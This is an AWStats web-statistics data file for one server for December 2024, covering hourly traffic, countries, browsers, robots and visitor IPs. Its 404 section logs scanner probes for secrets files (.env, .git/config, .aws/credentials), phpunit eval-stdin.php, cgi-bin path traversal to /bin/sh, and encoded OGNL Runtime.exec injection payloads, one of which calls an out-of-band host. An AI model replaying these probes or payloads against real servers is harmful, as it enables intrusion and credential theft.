AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202412 will be lost/reset.
# Last config file used to build this data file was /home/main/tmp/awstats/ssl/awstats.main.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2005                
POS_TIME 2686                
POS_VISITOR 21575               
POS_DAY 34023               
POS_DOMAIN 3631                
POS_LOGIN 4205                
POS_ROBOT 4360                
POS_WORMS 4791                
POS_EMAILSENDER 4922                
POS_EMAILRECEIVER 5065                
POS_SESSION 34998               
POS_SIDER 35195               
POS_FILETYPES 5200                
POS_DOWNLOADS 5319                
POS_OS 5367                
POS_BROWSER 5828                
POS_SCREENSIZE 8068                
POS_UNKNOWNREFERER 8142                
POS_UNKNOWNREFERERBROWSER 8863                
POS_ORIGIN 9205                
POS_SEREFERRALS 9345                
POS_PAGEREFS 9507                
POS_SEARCHWORDS 9977                
POS_KEYWORDS 10129               
POS_MISC 2350                
POS_ERRORS 10188               
POS_CLUSTER 4061                
POS_SIDER_404 10306               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250101000320 521 80373 8846848748539
FirstTime 20241201000020
LastTime 20241231235620
LastUpdate 20250101153156 521 0 520 0 0
TotalVisits 475                 
TotalUnique 329                 
MonthHostsKnown 0                   
MonthHostsUnknown 329                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
PDFSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
AddToFavourites 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 1886 1886 1762392 149 170 176484
1 1867 1867 1752944 42 45 24449
2 1883 1883 1765079 57 68 55560
3 1871 1871 1756327 46 55 29887
4 1874 1874 1759058 67 78 42081
5 1878 1882 1764693 43 51 36458
6 1889 1894 1736609 124 131 31996
7 1875 1875 1715741 102 104 112529
8 1891 1899 1737603 130 143 143553
9 1879 1879 1718392 41 49 42986
10 1882 1882 1721692 231 244 160490
11 1895 1903 1738883 98 116 44439
12 1884 1884 1721638 93 107 81189
13 1879 1879 1748957 109 112 120903
14 1879 1879 1762556 157 164 131130
15 1884 1884 1763438 106 116 110839
16 1883 1883 1763326 33 44 35280
17 1889 1905 1787368 92 108 98100
18 1877 1877 1760120 83 97 63100
19 1875 1875 1758265 54 68 60525
20 1878 1878 1759906 278 290 78719
21 1908 1914 1787055 99 122 117705
22 1898 1900 1774406 152 187 189954
23 1787 1799 1672525 118 127 141794
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 27
pl 44552 44552 41573724
us 229 238 147437
cn 79 110 85847
ru 55 55 35205
in 32 32 19539
gb 26 29 18382
ca 17 17 9944
nl 16 16 11820
de 12 12 6864
pa 11 11 12017
be 9 9 4923
ua 8 8 5171
ir 8 8 4476
fr 7 7 7299
dk 5 5 5710
zz 5 5 3925
ao 5 5 3925
au 4 4 2388
se 3 5 4178
bg 1 5 5929
sc 1 13 16593
gr 1 1 447
al 1 1 447
vn 1 1 597
mn 1 1 597
hk 1 1 1142
es 1 1 447
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 8
no_user_agent 150 137245 20241231221947 0
Go\-http\-client/ 40 43257 20241230220717 0
curl 9 8193 20241230213935 0
scanner 8 4476 20241228160650 0
(firefox/)([0-9]\.|[0-1][0]\.) 5 2298 20241227123102 0
Firefox/1\.5 1 1142 20241212084825 0
survey 1 1154 20241205024910 0
java 1 1142 20241202192810 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 3
js 60 79566 0 0
html 45091 41908120 0 0
css 1 1287 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 29
winnt 4 4
linuxdebian 2 2
winphone 1 0
androidoreo 2 1
Unknown 140 138
linux 48 47
androidpie 2 0
j2me 1 1
macosx12 7 6
macosx15 78 76
android10 2 2
linuxcentos 3 3
macosx 78 38
macosx11 1 1
wii 1 1
win8 3 3
winxp 2 1
macosx9 1 1
macosx13 1 0
winlong 1 1
linuxubuntu 18 17
win10 153 149
win8.1 1 1
android 5 4
win7 26 24
winunknown 44552 44552
macosx7 5 5
androidkitkat 13 13
androidcupcake 1 0
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 109
firefox77.0 1 1
chrome76.0.3809.111 2 0
opera12.16 1 0
firefox124.0 4 4
chrome58.0.3029.110 1 1
chrome60.0.3112.113 27 27
chrome41.0.2228.0 5 5
chrome17.0.963.56 5 5
mozilla 44636 44636
chrome96.0.4664.110 45 45
chrome78.0.3887.0 1 0
msie11.0 1 0
msie7.0 1 1
chrome54.0.2840.98 3 3
chrome76.0.3809.100 2 0
firefox130.0 15 15
android 14 13
opera9.60 1 1
safari2.0.1 1 1
firefox110.0 4 4
chrome75.0.3770.143 1 0
safari17.1.2 1 1
safari17.4 1 1
chrome59.0.670 1 1
chrome63.0.3239.84 1 1
chrome54.0.3082.112 1 1
firefox65.0 2 2
safari17.1 1 1
chrome94.0.4606.61 1 1
chrome83.0.4103.97 4 2
chrome91.0.4472.124 1 1
chrome55.0.2883.95 3 3
safari5.0.4 5 5
chrome75.0.3770.142 2 1
safari12.1 1 0
firefox120.0 2 2
netscape5.0 24 24
firefox54.0 2 2
chrome51.0.2704.106 1 1
chrome60.0.3052.104 1 1
chrome66.0.3359.126 1 1
chrome60.0.3021.86 1 1
chrome45.0.2454.101 1 1
firefox123.0 2 2
chrome63.0.3239.132 1 1
chrome124.0.0.0 3 3
edge94 7 7
safari17.5 1 1
chrome109.0.0.0 3 3
chrome87.0.4280.88 73 34
chrome49.0.2623.112 8 8
chrome81.0.4044.129 2 2
firefox108.0 2 2
firefox116.0 1 1
chrome128.0.0.0 4 4
chrome74.0.3729.131 5 5
chrome103.0.5060.114 4 4
msie9.0 12 12
edge15 1 1
chrome54.0.2905 1 1
chrome122.0.0.0 10 10
chrome60.0.3112.90 1 1
chrome105.0.833 1 1
chrome71.0.2623.112 1 1
chrome83.0.1111 1 1
firefox128.0 4 4
chrome88.0.4324.190 14 14
safari1.3.1 1 0
chrome98.0.4758.102 18 18
chrome98.0.4758.132 2 2
chrome125.0.0.0 6 6
chrome120.0.0.0 9 9
firefox125.0 1 1
chrome86.0.4 1 1
safari17.4.1 4 4
firefox118.0 5 5
Unknown 31 29
chrome118.0.0.0 1 1
firefox102.0 2 2
chrome129.0.0.0 2 2
chrome10.0.648.133 1 1
firefox71.0 2 2
opera9.30 1 1
chrome86.0.4240.111 2 2
safari5.1.2 1 1
chrome131.0.6778.86 1 1
chrome78.0.3904.62 1 1
chrome36.0.1985.125 1 0
chrome61.0.3163.79 1 0
safari17.2 1 1
chrome40.0.2214.93 1 1
chrome114.0.0.0 5 5
chrome108.0.0.0 15 15
chrome36.0.1944.0 1 1
chrome44.0.2403.157 7 7
chrome66.0.3359.117 2 2
firefox122.0 2 2
firefox12.0 1 0
chrome50.0.2661.102 1 1
chrome122.0.6261.156 2 2
chrome126.0.0.0 9 9
firefox31.0 1 0
chrome123.0.0.0 1 1
chrome83.0.4103.61 5 3
chrome95.0.4638.69 3 3
chrome121.0.0.0 2 2
chrome102.0.5005.63 3 3
chrome92.0.4515.159 3 3
firefox126.0 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 13
Chrome/51.0.2704.106 20241205085634
python-requests/2.32.3 20241229002006
HTTP_Banner_Detection_(https://security.ipip.net) 20241230011354
url 20241207234856
l9tcpid/v1.1.0 20241207115854
Mozilla/5.0_(compatible;_Odin;_https://docs.getodin.com/) 20241230220023
Mozilla/5.0_zgrab/0.x 20241230152729
John_Recon/1.0.0 20241212232917
Mozilla/5.0_(compatible) 20241230003921
python-httpx/0.28.1 20241226065122
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20241230103059
Python/3.11_aiohttp/3.8.4 20241231111939
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20241231221953
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 7
John_Recon/1.0.0 20241212232917
python-requests/2.32.3 20241229002006
url 20241207234856
Python/3.11_aiohttp/3.8.4 20241231111939
l9tcpid/v1.1.0 20241207115854
python-httpx/0.28.1 20241226065122
HTTP_Banner_Detection_(https://security.ipip.net) 20241230011354
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 45073 45094
From1 0 0
From2 1 1
From3 17 57
From4 0 0
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
google_com_tr 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 10
http://103.215.223.91:443 13 13
https://103-215-223-91.cprapid.com 4 6
https://mail.skippyapp.ir 0 4
https://skippyapp.ir 0 4
https://mail.toosbioresearch.com 0 6
https://mail.jordanmarket.ir 0 4
https://103.215.223.91 0 8
https://ns2.lotusparsian.com 0 4
https://toosbioresearch.com 0 4
https://ns1.lotusparsian.com 0 4
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
421 2 644
404 2277 1800189
403 105 130410
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 451
/sandbox/.env 1 -
//admin/config.php 2 -
/tr/ 1 https://google.com.tr/
/admincp/.env 2 -
/bootstrap/.env 2 -
/remote/fgt_lang 1 -
/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/.env.tmp 4 -
/Admin/.env 2 -
/remote/login 5 -
/owa/auth/errorFE.aspx 1 -
/challenge/.env 2 -
/frontend/web/debug/default/view 2 -
/.env.staging.local 1 -
/login 6 -
/api/v2/.env 2 -
/.env.stage 3 -
/gate/actuator/env 1 -
/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/home/ 1 -
/deploy/.env 2 -
/config/.env 6 -
/prod/.env 4 -
/dologin.action 1 -
/v1/actuator/env 1 -
/robots/.env 2 -
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 1 -
/.env.qa 5 -
/.env.testing.local 1 -
/wp-json 3 -
/mgmt/tm/util/bash 2 -
/WebInterface/ 1 -
/ads.txt 5 -
/options/.env 1 -
stager64 1 -
/Platform/.env 2 -
/upload/.env 2 -
/pages/doenterpagevariables.action 1 -
/auth/.env 2 -
/agora/.env 2 -
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/vendor/.env 2 -
/PORTAL/.env 2 -
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 16 -
/dana-na/nc/nc_gina_ver.txt 1 -
/auth/login 1 -
/sslmgr 1 -
/manager/env 1 -
/phpinfo/.env 1 -
/demo/.env 2 -
/.env.test 3 -
/V2/.env 2 -
/aaa9 1 -
/BU/.env 2 -
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 16 -
/owa/ 1 -
/pos/.env 2 -
/core/.env 5 -
/api/v2/actuator/env 1 -
/T6bHkeeG3IixY7Bh0noD1QyFLiPlD23T05_fYYWAB0SqWLgWGk-3zAazG2k0MqhO6AxISCCvosgJ0eBTxGrQHktud-cN20EuWN5bCgJQ7zQLOPyK5jhNF7Y2p-_JSxpBpQvWHxM5plh6NA2yELiAvVST24ah1aKWBxJ3EDpy2DOgE3DO9xUsIIP6R9Vy49sZRKRZKYyU6s9Z3QCfH7jzY3ZFQsI-dvC37Aw 2 -
/upfiles/.env 1 -
/.env.development.local 5 -
/.env/config 1 -
/vendor/phpunit/Util/PHP/eval-stdin.php 16 -
/console/.env 2 -
/.env.production.local 3 -
/api/sonicos/auth 1 -
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/resources/.env 1 -
/status.php 1 -
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php 16 -
/phpunit/src/Util/PHP/eval-stdin.php 16 -
/gateway/env 1 -
/pages/createpage.action 1 -
/RDWeb/Pages/en-US/login.aspx 1 -
/file 2 -
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/dana-cached/hc/HostCheckerInstaller.osx 1 -
/grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo 2 -
/a 1 -
/v2/_catalog 3 http://103.215.223.91:443/v2/_catalog
/crm/.env 2 -
/ADMIN/.env 2 -
/api/.env 8 -
/__down 2 -
/.env.aws 5 -
/pages/templates2/viewpagetemplate.action 1 -
/doc/.env 2 -
/app 7 -
/cli/.env 2 -
/bot/.env 2 -
/back/.env 2 -
/.json 4 -
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/cms/.env.prod 2 -
/console 1 -
/config/config.ini 1 -
/import/.env 1 -
/nginx/.env 2 -
/data/.env 2 -
/a/env 1 -
/s3cmd.ini 1 -
/.env.backup 2 -
/web/debug/default/view 2 -
/config.json 9 -
/phpunit/Util/PHP/eval-stdin.php 16 -
/phpinfo 1 -
/base/.env 2 -
/app_dev.php/_profiler/open 2 -
/admin/ 1 -
/gateway 2 -
/cdw-backend/.env 2 -
/lib/phpunit/Util/PHP/eval-stdin.php 15 -
/.envrc 2 -
/Prod/.env 2 -
/partymgr/control/main 1 -
/wsman 1 -
/static/historypage.js 1 -
/view/.env 1 -
/developerslv/.env 2 -
/.env.preprod 3 -
/.svn/ 1 -
/gate 2 -
/login.do 1 -
/web/.env 2 -
/index.php 39 -
/containers/json 13 -
/.env.sandbox 1 -
/setup/setupadministrator.action 1 -
/dev/.env 2 -
/wiki/pages/createpage-entervariables.action 2 -
/backend/actuator/env 1 -
/samples/.env 1 -
/deployment/.env 2 -
/geoserver/web/ 12 -
/community/.env 2 -
/search/.env 2 -
/library/.env 2 -
/awstats/.env 2 -
/webclient/ 2 -
/infos.php 2 -
/include/.env 1 -
/env/.env 2 -
/docker/.env 2 -
/beta/.env 3 -
/~dev/.env 2 -
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/ADMINISTRATOR/.env 2 -
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/.env.dist 4 -
/acp/.env 2 -
/code/web/.env 2 -
/download/.env 2 -
/sdk 2 -
/Core/.env 2 -
/Web/.env 2 -
/epa/scripts/win/nsepa_setup.exe 1 -
/credentials 2 -
/aab8 2 -
/level/15/exec/-/sh/run/CR 1 -
/project/.env 1 -
/API/.env 2 -
/client/src/.env 2 -
/app/config/.env 2 -
/auth1.html 1 -
/lRFX 1 -
/infophp.php 2 -
/shared/.env 2 -
/vpn/ 1 -
/bu/.env 2 -
/BACKUP/.env 2 -
/owncloud/status.php 1 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 2 -
/.env.testing 2 -
/info/ 2 -
/.gitlab-ci.yml 3 -
/addon/.env 2 -
/file/actuator/env 1 -
/C:/Program%20Files/Git/.env 1 -
/sslvpnLogin.html 1 -
/OA_HTML/AppsLocalLogin.jsp 1 -
/solr/admin/info/system 3 http://103.215.223.91:443/solr/admin/info/system
/css/images/PTZOptics_powerby.png 2 -
/adminer/.env 2 -
/TjIV 1 -
/chat-client/.env 2 -
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php 16 -
/identity 1 -
/User_info/.env 2 -
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/.env.secret 1 -
/ci/.env 2 -
/logging/.env 2 -
/.env.uat 2 -
/ 255 -
/infos/ 2 -
/application/.env 3 -
/downloads/.env 2 -
/favicon-32x32.png 1 -
/contact/.env 2 -
/Laravel/.env 2 -
/security/.env 1 -
/docs/.env 2 -
/index.jsp 1 -
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/internal_forms_authentication 1 -
/ab2h 12 -
/.env.dev.local 2 -
/resolve 24 -
/api/v2/env 1 -
/products/.env 1 -
/+CSCOE+/logon.html 1 -
/LARAVEL/.env 2 -
/sitemap.xml 25 -
/welcome.action 1 -
/info.php 2 -
/static/admin/javascript/hetong.js 4 -
/ext-js/app/common/zld_product_spec.js 1 -
/default/.env 2 -
/raephaeyeip4fawe 2 -
/ews 2 -
/Chai/.env 2 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 16 -
//libs/js/iframe.js 2 -
/aab9 1 -
/django/.env 2 -
/.env.bak 5 -
/sitecore/shell/sitecore.version.xml 1 -
/KjXO 1 -
/webfig/ 1 -
/Passportjs/.env 2 -
/HNAP1 2 -
/.env.docker-compose 3 -
/api/v1/env 1 -
/anaconda/.env 2 -
/stg/.env 2 -
/V1/.env 2 -
/clld_dir/.env 2 -
/autodiscover/autodiscover.json 6 -
/admin/modules/framework/amp_conf/htdocs/admin/config.php 8 -
/evox/about 2 -
/file/env 1 -
/new/.env 2 -
/query 27 -
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/routes/.env 1 -
/Api/.env 2 -
/.env.prod.local 3 -
/backend/.env 2 -
/cms/.env 4 -
/admin/config.php 1 -
/setup/setupadministrator-start.action 2 -
/.env.live 3 -
/mPlayer 1 -
/production/.env 2 -
/owa/auth/x.js 3 -
/.twilio.env 2 -
/RDWeb/Pages/ 1 -
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/settings/.env 2 -
/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20ct8nnapbu4gkq8f37adgg64uxqo9ghdnr.oast.me%22%29%7D/ 1 -
/debug/default/view 2 -
/staging/.env 2 -
/jquery-3.3.2.slim.min.js 1 -
/laravel/.env 2 -
/admin/default/ 4 -
/download/file.ext 1 -
/cp/.env 2 -
/bucoffea/.env 2 -
/vendor/phpunit/src/Util/PHP/eval-stdin.php 16 -
/.config.yaml 2 -
/api/session/properties 1 -
/frontend_dev.php/$ 2 -
/sugar_version.json 1 -
/WuEL 1 -
/admin/.env 2 -
/RDWeb 1 -
/.env.template 5 -
/Site/.env 2 -
/server-info.action 1 -
/backup1/.env 2 -
/Production/.env 2 -
/pages/createpage-entervariables.action 3 -
/auth.html 1 -
/phpinfos/ 2 -
/option/.env 1 -
/Library/.env 2 -
/directories/.env 2 -
/license.txt 3 -
/app/.env 2 -
/inc/.env 2 -
/SiteLoader 1 -
/views/.env 1 -
/version 4 -
/users/user-dark-features 1 -
/.env~ 2 -
/cgi-bin/authLogin.cgi 4 -
/.env.dev 1 -
/api/sonicos/tfa 1 -
/CORE/.env 2 -
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/.well-known/security.txt 17 -
/cfg/.env 2 -
/install/.env 1 -
/api 2 -
/wp-admin/.env 1 -
/cgi-bin/../../../../../../../../../../bin/sh 4 -
/admin/actuator/env 1 -
/stage/.env 2 -
/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 18 -
/app_dev.php/_profiler/phpinfo 2 -
/app-ads.txt 2 -
/ab2g 12 -
/lib/.env 2 -
/cardea/backend/.env 2 -
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/docker-compose.prod.yml 2 -
/v1/env 1 -
/_.env 2 -
/results/.env 1 -
/.env.save 4 -
/admin/env 1 -
/templates/editor-preload-container 1 -
/Local/.env 2 -
/actuator/health 5 -
/backend/src/.env 2 -
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/qa5U 1 -
/Stag/.env 2 -
/cloud/.env 2 -
/configuration/.env 1 -
/.env.production 3 -
/goform/formJsonAjaxReq 5 https://103.215.223.91:443/home.asp
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/confluence/pages/createpage-entervariables.action 2 -
/backend/env 1 -
/.env.docker 4 -
/a/actuator/env 1 -
/cgi-bin/config.exp 1 -
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/.git/config 22 -
/phpinfo.php 5 -
/challenges/.env 2 -
/Staging/.env 2 -
/.env.example 2 -
/api/v1/pods 1 -
/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/web 1 -
/dependencies/.env 2 -
/.env.ci 2 -
/api/env 1 -
/tFj8 1 -
/actuator 1 -
/lib/phpunit/src/Util/PHP/eval-stdin.php 16 -
/blankon/.env 2 -
/phpunit/phpunit/src/Util/PHP/eval-stdin.php 16 -
/blue/.env 2 -
/Archipel/.env 2 -
/js/NewWindow_2_all.js 1 -
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/.env.php 1 -
/Telerik.Web.UI.WebResource.axd 1 -
/ReportServer 1 -
/pinfo.php 2 -
/odinhttpcall1733762277 1 -
/.env.default 4 -
/acme/.env 2 -
/_profiler/phpinfo 49 -
/route/.env 1 -
/odinhttpcall1734340427 1 -
/dns-query 44 -
/build/.env 4 -
/pfblockerng/www/index.php 2 -
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php 16 -
/showLogin.cc 1 -
/jquery-3.3.1.slim.min.js 1 -
/delivery/.env 2 -
/template/custom/content-editor 1 -
/hello.world 18 -
/solr/admin/cores 3 http://103.215.223.91:443/solr/admin/cores
/teorema505 12 -
/.env.prod 3 -
/global-protect/login.esp 1 -
/pictures/.env 1 -
/phpunit/phpunit/Util/PHP/eval-stdin.php 16 -
/html/.env 2 -
/env 2 -
/blob/.env 2 -
/public/.env 2 -
/api/actuator/env 1 -
/user/.env 1 -
/gateway/actuator/env 1 -
/Remote 1 -
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X- 1 -
/aspera/faspex/ 1 -
/chiminey/.env 2 -
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/.env 268 -
/twilio.env 1 -
/.env.config 2 -
/Administrator/.env 2 -
/_profiler/phpinfo.php 1 -
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/sample.env 2 -
/admins/.env 2 -
/agc/vicidial.php 1 -
/public_html/.env 2 -
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 15 -
/sellers.json 2 -
/portal/.env 1 -
/manager/actuator/env 1 -
/admin 2 -
/Public/.env 2 -
/owa/auth/logon.aspx 5 -
/api/v1/actuator/env 1 -
/php/login.php 1 -
/connector.sds 1 -
/office/.env 1 -
/actuator/env 1 -
/Login 1 -
/backup.env 2 -
/.aws/credentials 6 -
/~admin/.env 2 -
/gate/env 1 -
/media/.env 2 -
/Public/home/js/check.js 4 -
/alpha/.env 2 -
/alive.php 12 -
/public/index.php 13 -
/cms/.env.production 2 -
/%2577eb%2575i_%2577sma_Http 1 -
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 13 -
/solr/ 1 -
/.env.local 4 -
/.env_sample 1 -
/owa 2 -
/vpnsvc/connect.cgi 2 -
/server/.env 2 -
/process/.env 1 -
/env.js 1 -
/site/.env 2 -
/audio/.env 2 -
/misc/.env 2 -
/apps/.env 2 -
/cgi-bin/luci/ 39 -
/Socketio/.env 2 -
/sources/.env 2 -
/t4 12 -
/client_secrets.json 2 -
/robots.txt 32 -
/tool/view/phpinfo.view.php 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 329
194.36.174.225 44552 44552 41573724 20241231235620
123.160.223.72 15 21 18578 20241230215725
82.117.87.234 12 12 7093 20241208162537
80.94.95.157 10 10 5670 20241228064138
179.43.163.250 10 10 11420 20241207115854
91.208.197.167 9 9 4923 20241229190509
4.232.137.82 9 9 4923 20241231111939
185.242.226.117 9 9 5373 20241210122253
123.160.223.74 9 12 8245 20241230215655
146.70.116.152 9 9 4023 20241222224300
2.189.42.49 8 8 4476 20241228213328
123.160.223.75 7 9 6542 20241230215217
146.70.116.146 7 10 8144 20241213061327
123.160.223.73 7 13 9798 20241230215554
178.215.236.9 6 6 3582 20241231124553
184.105.139.68 6 6 3582 20241210150126
185.242.226.70 6 6 3282 20241229095943
45.15.17.3 6 13 13726 20241228081107
103.203.59.1 5 5 4320 20241230011354
44.204.222.173 5 5 2235 20241218213200
213.32.122.82 5 5 5710 20241229102409
68.183.201.50 4 4 2388 20241202214125
85.192.56.127 3 3 1767 20241214145316
111.7.96.180 3 5 4453 20241230115421
66.240.223.202 3 3 1641 20241216232101
80.82.77.139 1 1 1142 20241208122717
45.156.129.52 2 2 1194 20241228120003
13.64.194.18 1 1 597 20241207055427
71.6.199.23 1 1 447 20241222235051
4.151.37.156 1 1 597 20241208163452
66.240.236.109 2 2 1044 20241219064026
45.33.119.126 1 1 597 20241226212142
165.22.204.198 2 2 1194 20241230152729
162.215.216.231 1 1 597 20241226213323
185.208.156.160 1 1 597 20241204122922
162.142.125.208 1 1 597 20241229043034
167.94.138.124 1 1 597 20241228084619
45.156.129.135 1 1 447 20241218083224
